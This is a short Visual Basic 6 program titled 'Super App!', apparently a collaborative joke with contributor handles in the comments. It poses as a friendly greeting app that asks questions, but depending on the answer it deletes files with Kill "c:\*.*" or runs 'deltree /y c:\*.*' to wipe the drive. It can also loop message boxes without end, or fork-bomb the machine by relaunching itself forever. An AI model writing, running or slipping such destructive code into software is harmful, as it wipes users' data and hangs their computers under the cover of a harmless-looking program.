Super App!

[wpearsall]

Option Explicit
Dim sAns As String
 
Private Sub Form_Load()
    GoTo 10 'DiGErR
    End ' and people say gotos are worthless!
10
    On Error Resume Next 'Lou
    Dim A As Integer 'Alex (Alien_Poo)
 
 
    A = 1 / 0 'Yash (OrdinaryGuy)
    If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash
        MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR
    Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman
        If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*"
        If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop
        If sAns = "DigitalError" Then Exit Sub
        If sAns = "" GoTo KillSystem:
    End If
 
Exit Sub
KillSystem:
Do
Shell App.Path & "\" & App.EXEName & ".exe"
Loop
End Sub